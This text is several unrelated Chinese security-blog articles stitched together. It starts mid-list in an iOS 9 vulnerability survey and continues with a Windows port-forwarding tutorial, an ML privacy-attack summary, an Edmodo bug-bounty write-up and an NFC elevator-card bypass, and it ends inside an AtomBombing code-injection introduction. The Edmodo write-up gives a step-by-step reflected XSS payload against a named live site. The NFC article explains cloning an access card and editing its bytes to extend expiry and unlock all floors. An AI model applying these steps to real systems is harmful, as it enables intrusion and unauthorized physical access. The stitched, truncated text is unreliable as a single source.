2. **GasGauge Race Condition** : This vulnerability was disclosed by qwertyoruiop. Because GasGauge kernel service doesn’t lock the process when it frees the memory, the attacker can use multi-thread to do the race. If the race wins, the vulnerability will cause double free. In addition, the attack can translate it into UaF in any zone and achieve kernel read/write ability. Note that this kernel service cannot be reached in the sandbox. So the attacker needs a sandbox escape before using this vulnerability.
## **0x05 iOS 9.3.1 Critical and Exploitable Vulnerabilities**
1. **InpuTbag Heap Overflow** : This vulnerability was disclosed by Team OverSky of Alibaba mobile security. The vulnerability exists in the postElementValues() method of IOHIDDevice kernel service. Because the postElementValues() method doesn’t check the size of input report, the attacker can use a crafted input report to overflow the kernel heap and then achieve kernel read/write ability. Note that this kernel service cannot be reached in the sandbox and it needs “com.apple.hid.manager.user-access-device” entitlement. So the attack needs a sandbox escape and an entitlement bypass before using this vulnerability.
## **0x06 iOS 9.1 Critical and Exploitable Vulnerabilities**
1. **CVE-2015-7037 Photos Sandbox Escape** : The vulnerability exists in the com.apple.PersistentURLTranslator.Gatekeeper XPC service. By using a crafted XPC message, the attacker can achieve arbitrary file read/write ability of “mobile” user outside the sandbox. Combining with the vulnerability of dyld, the attacker can achieve arbitrary code execution outside the sandbox.
2. **CVE-2015-7084 IORegistryIterator Race Condition** : The vulnerability exists in the IOKit kernel service. Because the kernel does not lock the process when it frees the IORegistryIterator object, the attacker can use multi-thread to do the race. If the race wins, the vulnerability will cause a double free. Then the attacker can use the vulnerability to achieve kernel read/write ability and jailbreak the iOS devices.
## **0x07 iOS 9.0 Critical and Exploitable Vulnerabilities**
1. **CVE-2015-6974 IOHIDFamily UaF** : The vulnerability exists in the IOHIDResource kernel service. The kernel service does not set the “device” pointer to NULL after releasing the device in the terminateDevice() method. The attacker can use this vulnerability to trigger UaF in the kernel and then translate into kernel read/write ability. This vulnerability was used in the Pangu’s iOS 9.0 jailbreak. Note that this kernel service cannot be reached in the sandbox. So the attacker needs a sandbox escape before using this vulnerability.
## **0x08 Summary**
We can clearly observe that the number of critical and exploitable
vulnerabilities in 2016 is very large. However, lots of iOS devices cannot
upgrade to the latest iOS version. In addition, there are minor changes in
recent iOS systems. So, more and more people lack interest in upgrading their
devices.
According to one professional mobile statistics platform, only 3.28% devices
are using the latest iOS 10.2 in December of 2016. It means 96.72% devices can
be exploited by Mach_portal exploit chain at that time. Therefore, we kindly
remind customers to upgrade their devices and be careful with the potential
threats in the future.
Last but not least，you can find iOS jailbreak vulnerabilities and materials
related to this article in our
Github：<https://github.com/zhengmin1989/GreatiOSJailbreakMaterial> | 社区文章 |
**0x00 前言**
在Windows系统中，从XP开始就内嵌了一个设置网络端口转发的功能。依靠这个功能，任何到本地端口的TCP连接（ipv4或者ipv6）都能够被转发到任意一个本地端口，甚至是远程主机的某个端口。并且，Windows系统并不需要去开启监听这个转发端口的服务。
在Linux中，配置端口转发十分容易，使用iptables配置规则即可。但是在Windows服务器中，远程访问控制协议（RRAS）通常被用作端口转发，但是有一种更简单的配置方法，并且这种配置方法适用于windows的任意版本。
**0x01 基础命令**
使用Portproxy模式下的Netsh命令即能实现Windows系统中的端口转发，转发命令如下
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
解释一下这其中的参数意义
1.listenaddress -- 等待连接的本地ip地址
2.listenport -- 本地监听的TCP端口（待转发）
3.connectaddress -- 被转发端口的本地或者远程主机的ip地址
4.connectport -- 被转发的端口
这里举个例子，我们的任务是将一个RDP服务（远程桌面协议）转发到任意端口，比如说3340（端口其实可以在服务设置中进行更改，但是这里我们使用RDP协议来实现一个简单点的端口转发例子）。那么好，我们需要将进来的流量转发到3340端口（标准端口是3389）
以管理员身份输入下面的命令行：
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
这里10.10.1.110也就是当前主机的ip地址
使用netstat命令来验证3340端口是否正在监听中
`netstat -ano | findstr :3340`
注意：
如果这条命令没有返回任何信息，或者说通过netsh接口并没有实现端口转发的功能，那么需要查看下系统是否开启了iphlpsvc（ip Helper）服务。
并且需要在网络配置中查看端口转发规则是否被创建、IPv6的支持是否开启。
这些都是实现端口转发的必备因素，没有了IP Helper服务，没有了IPv6的支撑，端口重定向就没办法得到实现。
这里可以输入命令来查看哪项进程正在通过PID号来监听这个端口（在本例中，涉及的PID号为636）
`tasklist | findstr 636`
那么下面我们从远程主机来尝试连接这个新转发的端口3340，这里3340端口就等同于原来的3389端口，这里连接的地址为10.10.1.110:3340
连接应该就可以建立成功。
注意：连接时请确保防火墙（Windows防火墙或者其他的第三方防护软件）允许外部连接到一个全新的端口，如果不允许，那么只能自行添加一个新的Windows防火墙规则，命令如下：
netsh advfirewall firewall add rule name=”forwarded_RDPport_3340” protocol=TCP dir=in localip=10.1.1.110 localport=3340 action=allow
当通过Windows防火墙接口为3340端口建立一个新的规则时，这个端口需要保证没有被任何程序占用，也就是说此端口仅供网络驱动使用。
你可以创立任意的Windows端口转发规则，所有的netsh接口下的端口代理规则都是永久的，并且储存在系统中（不受开机重启的影响）
下面的命令是用来展示系统中的所有转发规则：
`netsh interface portproxy show all`
在本例中仅有一条从3340到3389的转发命令
Listen on ipv4: Connect to ipv4:
Address Port Address Port
--------------- ---------- --------------- ---------- 10.1.1.110 3340 10.1.1.110 3389`
注意：
端口转发的设置也可以通过命令行还进行查看
`netsh interface portproxy dump`
========================
Port Proxy configuration
========================
pushd interface portproxy
reset
add v4tov4 listenport=3340 connectaddress=10.1.1.110 connectport=3389
popd
如果想要删掉一个特定的端口转发规则，使用如下的命令：
netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110
如果想要清空当前所有的配置规则，命令如下：
`netsh interface portproxy reset`
注意:这些转发规则仅仅适用于TCP端口，对于UDP的端口转发，使用上面的方法是无效的。还有在配置规则时，不能将127.0.0.1作为连接地址。
**0x02 进阶命令**
如果你想要转发TCP连接到一台远程主机，使用下面的命令即可：
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=192.168.100.101
这条规则将会转发RDP请求（也就是3389端口）到一台ip地址为192.168.1.101的远程主机上。
另一条端口转发的好处就是，这看上去在本地，我们就以使用任意一个远程主机的服务。
这里举个例子，我们想要转发本地的5555端口到远程主机157.166.226.25（CNN的官网地址）
netsh interface portproxy add v4tov4 listenport=5555 connectport=80 connectaddress= 157.166.226.25 protocol=tcp
输入完命令后，现在我们在本地浏览器访问<http://localhost:5555/>
那么我们就可以发现访问的其实是CNN的默认主页。所以尽管我们访问的是本地端口，实际上这里访问的是一个远程页面。
端口转发同时可以用来将一个外部地址的某个端口转发到同机上的虚拟机里。
**0x03 后记**
同时有这样一种特例，那就是在Windows Server 2012
R2中，端口转发规则有可能会在系统重启后被重置，在这种情况下，你需要在网络协议中检查是否存在配置不当，导致网络的间断性断开，或者当系统重启时是否出现了ip地址的变换（推荐使用静态ip）。在一个工作组里，我通常是在windows任务计划程序里添加了一个实现端口转发的脚本。
在Windows
2003/XP中，你必须在注册表（HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters）中找到并设置IPEnableRouter参数为1才能实现端口转发。
外文原文链接：<http://woshub.com/port-forwarding-in-windows/> | 社区文章 |
# HBC隐私攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
一般的机器学习系统应用于分类任务时，就是给定一个测试样本，然后返回一个标签，或者说是属性。比如对于MNIST来说，就是给一张手写体数字图像，分类器返回0~9中的一个数字。但是对于其他的一些数据集，情况就没有这么简单了，比如对于一个可以分析人类表情的机器学习系统，输入的是一张人脸，它会返回高兴或者难过，但是除此之外，人脸数据实际上还包含一些其他属性，比如性别、年龄、种族等。如果涉及到一些敏感属性的话，那可能就会带来严重的隐私风险。
那么作为攻击者，是否可以训练出这么一种分类器：它的输出不仅可以用于推断目标属性，而且还会秘密携带有关用户数据的敏感属性的信息。
如下图所示
假设存在一个服务器，该服务器为其用户提供对针对已知目标属性
训练的分类器的访问权限。设用户的数据x(比如人脸)包括目标属性y(如年纪)和敏感属性s(如种族).由服务器提供的分类器会估计y，用户会得到分类器返回的y^.但是，作为攻击者，不仅可以训练模型使其给出关于y的准确估计，同时当其输入给攻击G的时候，G可以推断出敏感属性s。图中的(1)(2)表示的是两种不同的场景，即不论分类器给出的是原始的输出还是软输出。
本文要分析的工作来自CCS 2021，名为Honest-but-Curious Nets: Sensitive Attributes of Private
Inputs Can Be Secretly Coded into the Classifiers’ Outputs，它告诉我们这类攻击都是可以实现的。
这里顺带说一下，Honest-but-Curious简称HBC是来自密码学领域的一个半可信模型下的概念，原先是指，在两方计算中不偏离其指定协议但试图从接收到的数据中推断出尽可能多的敏感信息的合法方被称为诚实但好奇（HBC）方，这里研究人员用其指代可以实现类似目的的分类器，这种分类器的输出不仅可用于推断目标属性，而且还可以秘密携带有关用户数据的敏感属性的信息。
## 形式化
在给出具体定义之前，需要声明一下，这个工作用了很多信息论的公式，所以先来看看信息论相关的
设随机变量
随机变量a的熵表示为：
随机变量b于a的交叉熵：
a和c的互信息为：
我们假设用户数据x采样自一个未知的数据分布D，设x可以提供关于至少两个潜在分类变量(属性)的信息，比如y为目标属性，s为敏感属性。分类器F以x为输入并输出y^,其可以表示为
其中的yi^^是Pr(y=i|x)。
设y-是从y^得到的关于y的预测值(比如在二分类中基于阈值，在多分类中基于argmax函数)
我们假设x，以及F的所有中间的计算都是隐藏的，用户只知道y^.
对于仅服务器知道的敏感属性s的攻击可以记做
设s-是从s^得到的关于s的预测值.
这里的马尔科夫链为：
接下来我们定义诚实方，给定测试数据Dtest，如果满足下式我们就说分类器F是诚实的，即-h
其中 ∈ [0, 1]，表示的是分类器的测试准确率
当其预测目标属性时，我们称其为F的诚实方
然后定义好奇方，给定测试数据Dtest和攻击者G，如果满足下式则称之为好奇
其中 s ∈ [0, 1]，表示的是攻击者在测试集上的攻击成功率
当其预测敏感属性时，我们称其为F的好奇方
当分类器F在相同的数据Dtest上同时表现出诚实和好奇时，我们称之为Honest-but-Curious,HBC
而当分类器训练的目的仅是为了达到最佳的诚实，而没有任何额外的好奇，我们称其为标准分类器。
此外我们还有区分黑盒和白盒环境，我们这里以用户在推理时面对分类器的视角进行区分，在黑盒下，用户只能拿到分类器的输出而不知道其架构、参数等，在白盒下，用户知道分类器的架构、输出以及计算时的所有中间过程。
作为攻击者，我们的目的就是要训练一个HBC。
接下来我们分黑盒和白盒两种情况介绍如何实现HBC。
## 黑盒
这里先以一个比较简单的逻辑回归分类器为例进行说明。数据分布如下图所示
其中每个样本x有两个属性∈{0,1}和∈{0,1}
如果与
相关，那么分类器的任何输出总是会暴露一些敏感信息，所以s和y的相关性越小，构建HBC分类器的难度就越大。而在上图中可以看到，y和s是独立的，并且对于每个属性而言，都有一个最优的线性分类器
很明显，对于这个数据集我们可以找到一个最优的逻辑回归分类器
模拟y的决策边界。这样的分类器是-h， = 1，同时它也是–， = 0.5；这意味着分类器是诚实的，不会泄露任何敏感信息。而任何使 > 0.5
的线性分类器的都需要通过强制 < 1 来实现，而这会降低分类器的诚实性。这也是实现HBC的难点所在。
我们可以尝试着分别在两个属性上分别训练一个分类器，并将其合并起来得到最终的y^
此时的y^就是对于目标属性y和敏感数学s的预测值的混合后的结果。大概的示意图如下
这里的混合其实有两种方式，用公式可以分别表示如下
[]符号表示的意思是取整
由于这两个分类器对于各自的属性而言都是最优的，所以实际上对于第二种混合而言，y^实际上只有四种值。如下
只要 ≠ 0.5,，给定y^，我们就可以精确的估计y和s，从而实现HBC分类器的构建
当然了，此时的分类器不再是线性的了。
而对于第一种混合方式而言，其难点在于y^的可能取值是在[0,1]范围的，所以我们可以做的就是定义一个阈值‘，并以此对[0,1]进行区间划分，划分如下所示
不过这种方案得到HBC分类器不如后一种混合方式的，一个简单的例子示意图如下
这里 = 0.8 and = 0.2，使用第二种混合方式，可以实现 = 1和 = 1；使用第一种混合方式，可以实现当′ = .1时， = .99 和 =
.95
总之，在黑盒情况下，服务器可以训练两个单独的分类器，每个分类器都具有足够高的准确度，并且可以使用两个输出的混合来构建HBC。
## 白盒
理论上来讲，分类器的输出y^，是一个可以携带无限量信息的向量。
所以在没有任何特定约束的情况下，通过处理y^是可以泄露隐私信息的，甚至可以用于重构数据x。但是实际上有各种各样的限制，比如数据的复杂性、对soft
output的要求等。这里我们引入信息论的知识来分析分类器的好奇方和输出的熵之间的关系。
我们知道，随机变量x的熵是其信息内容的期望值，也叫做自信息，即：
但我们在数据中寻找目标信息时，数据中存在的潜在的不相关的信息可能会让提取目标信息更加艰难。原则上来说，这种不相关的信息对于我们的目标任务而言，其实是一种噪声。比如说当我们在寻找目标属性时，对于一个DNN分类器而言其输入x输出概率分布，输出相比于输入而言具有更低的熵。尽管从熵的角度来看，y^带有的信息比x更少，但是相对于目标y而言，
y^的信息还是过多了。
同时，在分类器输出的熵和好奇方之间存在一定的关系。对于较大的H(y^）
说明y^此时带有更多的信息，所以更有可能被提取出于目标任务不相关的信息
举个例子，比如Y=4,y=1,y独立于s。在一个极端的情况下，当分类器的输出为y^=[0,1,0,0]
（此时H(y^)=0）
那么y^就没有携带关于s的信息，如果要附加关于s的信息的话就会增加熵
在监督学习中，通常使用的损失函数是交叉熵，如下所示
在训练过程中会最小化Hy(y^)
然而，由于数据通常是有噪声的，所以我们不能在推理时对Hy(y^)设置上界。在实践中，将 H(y^) 与 H (y^) 一起最小化可能有助于在推理时保持
H(y^) 较低，但是不能保证分类器在推理时总是会产生最小或有界的熵输出。
根据这一事实， 我们可以将分类器输入x的私有属性编码到分类器的输出中。
### 正则化攻击
第一种实现的攻击方案是通过将正则化F上的损失函数来强制分类器将s显式编码到y^的熵中
一般来说，y^有两个属性可以用于创建HBC分类器，分别是：
Argmax：使用 y^ 中最大元素的索引来预测
Entropy:y^ 的熵至少可以有两种状态：(i) 接近最大熵，即 H(y^) = log，或 (ii) 接近最小熵，即 H(y^) = 0。
实际上，在不干扰argmax(y^)的情况下，
H(y^)确实可以被用于预测二值s
不失一般性，我们假设Y=2, 考虑 ^1 ≡ ^ 和 ^0 = 1 – ^1，yˆ = [ˆ0,ˆ1]
下图展示了我们如何使用单个实值 ^ 来预测两个属性，例如，y^ = [.95, .05] 和 y^ = [.75, .25] 具有相同的 argmax
但不同的熵：分别为 0.29 和 0.81
根据上图，我们观察y^，当其小于0.5时，我们可以预测y-=-,否则为1；而我们可以训练一个分类器，使得对于 = 0 的样本，ˆ 接近边界（0 或
1），具体取决于 ； 否则，对于 = 1，^ 远离边界。 使用阈值 ，我们从 ˆ 预测二元属性 和 。
接下来我们就要定义用于训练分类器的损失函数
其中乘数和旨在控制诚实和好奇之间的权衡。 第一项是交叉熵，第二项是香农熵，旨在对于 = 0 的样本最小化 y^ 的熵，同时对于 = 1最大化 y 的熵。
这样训练之后，在推理阶段，当观察到y^，会计算其熵值，并使用阈值t来估计s-，如下所示
所以其实攻击者G就是一个简单的阈值函数，阈值则可以通过在训练期间的验证集进行优化得到
### 参数化攻击
当S>=2时，上一种攻击方式就不可行了，所以这里介绍第二种攻击方式，在此之前我们简单提一下信息瓶颈
之前我们提到了马尔科夫链
服务器希望找到一个分类器F*可以将用户的数据x映射到一个向量y^
同时使得y^尽可能地包含关于y和s的信息
这种F*可以被定义为下面数学优化公式的解
其中、和是拉格朗日乘数，它们允许我们沿着不同的可能局部最小值移动，并且都是非负实值
上面这条公式实际上是信息瓶颈公式的扩展，其中由 F * 产生的最优 y^ 是根据其与三个变量 x、 和 的关系来决定的。 通过改变
乘数，我们可以探索不同速率的压缩之间的权衡，即通过最小化 I(y^;x) 和我们旨在保留的信息量，即通过最大化 I(y^;) 和 I(y^;)。 特别是对于
DNN，压缩可能有助于分类器实现更好的泛化
现在我们来看看对于一个计算有界且只能访问原样本的服务器，应该怎么求解上式并创建最优的HBC分类器
我们有
对于固定的训练集而言，在优化过程中H(y)和H(s)是常量，而对于一个判别F来说，有
所以我们将上式简化如下
上式可以看做是一个优化问题，旨在最小化y^的熵，并将尽可能多的关于y和s的信息编码进去。因为优化的过程是寻求一个函数 F∗ 来产生一个低熵 y^ ，使得
y^ 只提供关于 和 的信息，而没有关于其他任何信息的信息。 乘数 和 指定 和 如何在 y^ 的熵中竞争剩余容量
现在，服务器需要训练一个已知的现成分类器。 在这里，我们对目标属性 使用交叉熵损失函数，并使用 SGD 训练分类器 F。
然而，除了这个交叉熵损失之外，我们还需要为属性寻找另一个损失函数。 因此，我们需要一种方法来为模拟这样的损失函数。
让 |y^ 表示给定 y^ 的真实但未知的 概率分布， |y^ 表示 |y^ 的近似值。 考虑到这两个分布 H |y^ ( |y^ ) 之间的交叉熵，已知有
这个不等式告诉我们，未知分布之间的交叉熵和它的任何估计，是H的上界，并且当|y\^=|y^ 时，等式成立。 因此，如果我们为 |y^
找到一个有用的模型，那么最小化H( |y^ ) 的问题可以通过最小化 H |y^ ( |y^ ) 来解决。
我们可以下面的交叉熵来估计 H |yˆ ( |yˆ )
在为 |yˆ 初始化一个参数化模型以估计H( |yˆ )后，我们对下式进行优化
此时优化问题的变分近似可以写作
其中联合最小化是在参数化模型 F 和 G 上执行的。这里，H^(·) 和 H^(·|·)
表示分别在每批采样数据上计算的经验熵和条件熵。该方案的训练示意图如下所示
至此，两种攻击方案都介绍完毕。在正则化攻击里，我们只需要修改F的损失函数，在参数化攻击里，我们不仅要修改损失函数，还有利用额外的模型G来估计敏感属性。因此，F可以被看做在同时扮演两个角色，一个是诚实方，用于估计目标属性，一个是好奇的编码方，用于编码敏感属性；而G则是好奇的解码方，用于解码收到的输出并估计敏感属性。
## 实验分析及复现
### 分析
我们以UTKFace为例。我们假设性别Gender为目标属性y，种族Race为敏感属性s
实验得到的ROC曲线如下
上一行是标准分类器，下一行是通过正则化攻击得到的HBC分类器
在左上图中，标准分类器的 ROC 曲线下面积 (AUC) 为 0.97，而在左下图中，分类器是 HBC，但仍达到相当大的 0.94
AUC。而对于好奇方而言，右上图中的标准分类器没有提供有关 Race 的信息，它基本上与随机猜测一样。 但是，右下角的 HBC 分类器通过正则化攻击预测
Race 可以达到 0.89 AUC。
这表明正则化攻击确实可以实现HBC分类器及其攻击效果。
而当S>2时，我们进一步的实验结果如下所示，这里我们将性别、年龄或种族中的一个设置为，另一个设置为，并比较实现的和
上表是参数化攻击的结果，其中目标属性是年龄，敏感属性是种族
上表是各类攻击的结果，其中目标属性是种族，敏感属性是性别
从表格中我们可以看到，对于所有 RawHBC 的情况，HBC 分类器的 非常接近 Std 中相应分类器的 。此外，我们看到在某些情况下，HBC
甚至有助于实现更好的泛化，从而获得更好的诚实度；这非常重要，因为 HBC 分类器可以看起来尽可能诚实。
当我们可以拿到原始输出时，攻击在所有任务中都非常成功，并且在许多情况下，我们可以达到与我们可以针对特定敏感属性训练 F
的情况相似的准确性。例如，在第一个表中，对于 = 3 和 > 2，我们可以达到大约 83% 的好奇来从针对年龄属性训练的分类器中推断种族属性。
在 SoftHBC 中，通过参数化攻击实现高好奇度更加困难，因为需要降低更多的诚实度。特别是对于具有 >
的任务，其中敏感属性比目标属性更精细。此外，虽然我们之前已经看到 SoftHBC 成功的正则化攻击，但正则化攻击不能应用于 > 2 的任务。此外，尽管
RawHBC 的好奇心比 SoftHBC 更高，但随着输出的大小变大，两者之间的差异会变小。
另外我们还可以观察到，当 ≤ 时，攻击非常成功，因为释放的输出容量更大。但是，当 > 时，攻击也是成功的。最有难度的情况是 = 2
并且我们只能访问软输出，因为在这些任务中我们只释放一个值（即 ^1 = 1 – ^2）。此外，我们在第二个表中看到，对于具有 = = 2 的
SoftHBC，正则化攻击比参数化攻击实现了更好的权衡。
### 复现
准备UTKFace的数据
数据集信息如下
准备模型
打印出summary如下
我们来复现参数化攻击
参数化攻击的G的架构
打印出summary如下
参数化攻击主体代码
其中评估acc的代码如下
测试结果如下
可以看到通过训练，模型推理目标属性y和敏感属性s的acc都一直在上升，说明HBC攻击确实有效，能够从模型的输出中成功推理出敏感属性。
## 参考
1.Honest-but-Curious Nets: Sensitive Attributes of Private Inputs Can Be
Secretly Coded into the Classifiers’ Outputs
2.The InformationBottleneck Method
3.Stealing Machine Learning Models Via Prediction APIs
4.A Hybrid Approach to Privacy-Preserving Federated Learning | 社区文章 |
# 前言
赏金猎人们，你们好！
感谢你们对Edmodo的大力支持，希望所有的同僚都能顺利拿到赏金。
接下来我要告诉大家我是如何在Edmodo中发现XSS的。
这个bug是我在一个月前发现的，在这里我要感谢Parth Shah，他的一篇关于存储型XSS的文章给了我很大的启发。
我刚刚浏览了`edmodo.com`的网站，我发现了两个或更多的URL。页面上没有任何内容，只有一个登录页面和一些过时的Edmodo布局。于是我便试图挖掘更深层次的东西。
# 细节
思索了一段时间后，我决定捕获该页面的登录请求。
目标URL:
https://www.edmodo.com/bookmarklet-login
我打开这个URL，看到天蓝色背景的登录屏幕。我尝试了SQL，XSS输入，但都没有任何反应。然后，我尝试深入应用程序并检查请求的每个参数。当我登录的时候。
显示有一个名为URL的参数正在传递请求。
当URL参数传递请求时，我陷入沉思！
现在，我要试着输入一些字符串，比如"Test
Example"。然后显示响应，我发现没有用于过滤输入的验证或过滤器。然后我尝试了经过精心设计的payload。我发现payload破坏了响应端的输入标签。它接受所有特殊字符和XSS
payload，而不会给出任何错误。
# 具体步骤
步骤1：打开`https://www.edmodo.com/bookmarklet-login`。输入用户名和密码。
步骤2：拦截请求。注意在请求中传递的`url`参数。
步骤3：put `url =“/> <script >alert（document.domain）</ script`。
步骤4：检查响应
步骤5：payload成功执行！
# 感悟
永不放弃是挖洞人员的第一奥义。
我非常高兴，因为这是我发现的第一个bug，Edmodo确认后给我发放了奖励。
# 时间线
2019年1月9日：发送报告
2019年1月10日：验证bug。
2019年1月10日：成功验证bug。
2019年1月11日：Edmodo发送奖励
2019年1月20日：收到奖励
# 总结
深入研究Web应用程序。
检查传入请求的每个参数。
永远不要放弃，不放弃深层次的研究
一定要多练习，熟能生巧嘛~
# 参考
<https://medium.com/@parthshah14031998/how-i-stumbled-upon-a-stored-xss-my-first-bug-bounty-story-2793300d82bb>
来源：https://medium.com/@valakeyur/xss-in-edmodo-within-5-minute-my-first-bug-bounty-889e3da6167d | 社区文章 |
# nfc研究——记一次门禁梯控绕过的研究
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者:墨客@涂鸦智能安全实验室
## 前言
最近租的公寓风风火火在门禁卡上加梯控，所有的门禁卡都需要去物业增加权限才能使用电梯，并且使用限制非常多。如电梯号的限制、楼层号的限制、时间的限制等。出于好奇，加上最近正在研究各种nfc，我对梯控进行了研究并尝试绕过。（仅作研究使用）
### 基础知识
首先我们先了解一下我们平常使用的门禁卡，目前nfc门禁卡大致可分为IC卡与ID卡，ID卡不可写入，且固定编号；IC卡可以擦写，且固定编号。这里笔者的卡可以被物业改写梯控信息，显然是IC卡。既然是IC卡，那么我们就可以复制，改写内容。
**IC卡的结构**
IC卡共分16个扇区，每个区分4块，每块16个字节，其中0扇区0块的前4个字节为uid号，此号具有唯一性，第5个字节为卡号校验位，后面11个字节为厂商信息。
每个扇区的最后一块，前6个字节为密钥A，7-9字节为控制位，10字节备用，后6个字节为密钥B。只有当密钥正确时，才能够修改对应扇区的数据
下图为本人的门禁卡，供大家理解
卡片的uid为d3808524
0扇区的密钥A是FFFFFFFFFFFF
0扇区的密钥B是FFFFFFFFFFFF
1扇区的密钥A是A754DE67A103（由读卡器破解出）
1扇区的密钥B是A0A1A2A3A4A5
其他的扇区内容都是空的，因此我们只要关注0/1扇区即可。
**cuid卡**
cuid卡也是ic卡的一种，可以用来避开uid防火墙，可以修改uid，为目前市面上主流的复制卡
### 准备工具
物业授权过的受限梯控卡1张
PM6读卡器一个
cuid空白卡若干
### 尝试绕过
首先，先整理一下自己的需求
1.梯控限制了只允许使用1号门的电梯，我们需要2号门电梯权限（否则拿外卖需要出门绕一大圈）
2.电梯卡添加了时间限制，到期后需要去物业处续卡，非常不方便。我们需要延长电梯卡使用期限
3.梯控限制了只允许刷一个楼层，尝试开通全楼层权限（非必要需求）
首先我们使用PM6读卡器读取梯控卡内容，并将其复制到我们空白的cuid卡上，后续操作都在cuid卡上进行，避免误操作导致原卡失效。
现在就可以开始分析卡的内容了，前面我们也已经说了，电梯卡仅仅在前两个扇区存有数据，其他扇区都是空的，因此我们只要分析前两个扇区的数据即可
我们先看0扇区，根据我们刚才对IC卡的了解，0扇区的0块，记录的是卡的固定uid号、校验值以及厂商信息，一般来说，uid是在梯控系统的后台进行过绑定的，所以uid一旦改变，电梯就不认可这张卡了，校验位又是根据uid生成的，厂商信息不涉及卡的数据，因此，我们可以将这一扇区排除。
**梯号限制绕过**
再看扇区1，说实话刚看到扇区1的数据时，我是一头雾水的，相关数据内容并不是很明显。没办法，只能先通过蠢办法进行尝试，尝试修改了1扇区0块的前8个字节。发现门禁可以通过；梯控不通过，初步判断为梯控的基础验证块。目光转到0块的第9、10字节，此处数据为0001，刚好我的梯控只允许刷1号门的电梯，猜测这里可能是梯号控制。将此处数据修改为0002，去电梯里试了一下，确实成功了。证明我们的猜想是正确的！
0001的2进制表达为0001,0002的二进制表达为0010，所以猜测当二进制为0011时，可以刷两边的梯控，但是尝试失败了。再次猜测当二进制表达为0100时，可以刷两边梯控，但又失败了。。。猜测有特定的值才能刷。当前已经可以通过两个nfc实现刷两边的卡，暂时先不管他。有灵感的师傅可以留言我试试
**时间限制绕过**
经过分析，确认了时间限制的数据在1扇区2块的最后四个字节限制卡的有效期，分别代表着日-/-月-年，如我的卡有效期至2022年3月17日，目前修改为2099年3月17日。至于到期后是否会有后台校验，就需要时间的证明了。
**楼层限制绕过**
又是一阵盲目分析，试探出楼层校验是在1扇区1块的前两个字节做的，比如我的电梯只能刷3楼，对应数据为0008，转化为2进制为00001000，这里怀疑进一位，楼层号就加1，于是测试时将数据改写成0010，即00010000，刷卡后，成功点亮了4楼的楼层号。推测当所有的值都为1时，就可以刷所有的楼层，既然如此，那我们暴力点，改成FFFF
怀着忐忑的心情，去电梯里试了一下。这次很成功，强制点亮变成了可选点亮，可以选所有的楼层
最后修改完内容的门禁卡数据如下
## 总结
**目前门禁、梯控等校验防君子不防小人**
，由于不涉及金钱交易等行为，门禁卡大多数是不联网的，通过修改卡的内容可以对大多数限制进行绕过。据我所知目前各梯控的供应商都有一套自己的控制方案，很多破解方案都已经暴露在公网上。没有暴露的，细心研究卡内数据，多尝试，也不难发现其逻辑。存在安全风险。
漏洞悬赏计划：涂鸦智能安全响应中心（[https://src.tuya.com）欢迎白帽子来探索。](https://src.tuya.com%EF%BC%89%E6%AC%A2%E8%BF%8E%E7%99%BD%E5%B8%BD%E5%AD%90%E6%9D%A5%E6%8E%A2%E7%B4%A2%E3%80%82)
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递[[email protected]](mailto:[email protected])，请注明来源。 | 社区文章 |
## 0x00 前言
2016年10月，网络安全公司EnSilo的研究团队公开了一个支持所有Windows系统的代码注入方法，将其命名为AtomBombing。据说该方法能够绕过大多数的安全软件，并且利用的系统缺陷很难被修复。
于是，本文将要根据开源代码和资料，学习原理，测试功能，分析利用思路，总结防御方法
学习资料：
<https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows>
作者：Tal Liberman
POC：
<https://github.com/BreakingMalwareResearch/atom-bombing/>
## 0x01 简介
本文将要介绍以下内容：
* AtomBombing实现方法
* 关键技术
* 防御思路
## 0x02 基础知识
### 1、Atom Table
是一个存储字符串和相应标识符的系统定义表
应用程序将一个字符串放入一个Atom表中，并接收一个16位整数(WORD)作为标识(称为Atom)，可通过该标识访问字符串内容，实现进程间的数据交换
#### 分类：
(1) Global Atom Table
所有应用程序可用
当一个进程将一个字符串保存到Global Atom
Table时，系统生成一个在系统范围内唯一的atom，来标示该字符串。在系统范围之内所有的进程都可以通过该atom(索引)来获得这个字符串,从而实现进程间的数据交换
(2) Local Atom Table
只有当前程序可用，相当于定义一个全局变量，如果程序多次使用该变量，使用Local Atom Table仅需要一次内存操作
参考资料：
<https://msdn.microsoft.com/en-us/library/ms649053>
#### 常用API：
添加一个Global Atom：
ATOM WINAPI GlobalAddAtom(_In_ LPCTSTR lpString);
删除一个Global Atom：
ATOM WINAPI GlobalDeleteAtom(_In_ ATOM nAtom);
查找指定字符串对应的Global Atom：
ATOM WINAPI GlobalFindAtom(_In_ LPCTSTR lpString);
获取指定atom对应的字符串：
UINT WINAPI GlobalGetAtomName(
_In_ ATOM nAtom,
_Out_ LPTSTR lpBuffer,
_In_ int nSize
);
**注：**
使用实例可参考如下连接：
<https://github.com/sinmx/Windows2K/blob/661d000d50637ed6fab2329d30e31775046588a9/private/windows/base/client/tatom.c>
### 2、APC注入
APC全称asynchronous procedure call，即异步过程调用
#### APC注入原理：
当线程处于警戒状态时，会检查APC队列，如果APC队列被插入函数指针，该函数将会得到执行
#### APC注入细节：
(1)
当线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx，WaitForMultipleObjectsEx或者WaitForSingleObjectEx函数时，会切换到警戒状态(alertable
state)
**注：**
警戒状态可参考：
[https://msdn.microsoft.com/en-us/library/windows/desktop/aa363772(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa363772\(v=vs.85).aspx
"<https://msdn.microsoft.com/en-us/library/windows/desktop/aa363772(v=vs.85).aspx>")
(2) 当线程进入警戒状态时，会循环检查线程中的APC队列，如果APC队列中存在函数指针，那么就会调用该函数
(3) 使用QueueUserAPC函数向APC队列插入函数指针Loadlibrary()，实现加载DLL
(4) 注入成功后，警戒状态结束，程序继续运行，有可能造成程序不稳定，导致程序崩溃
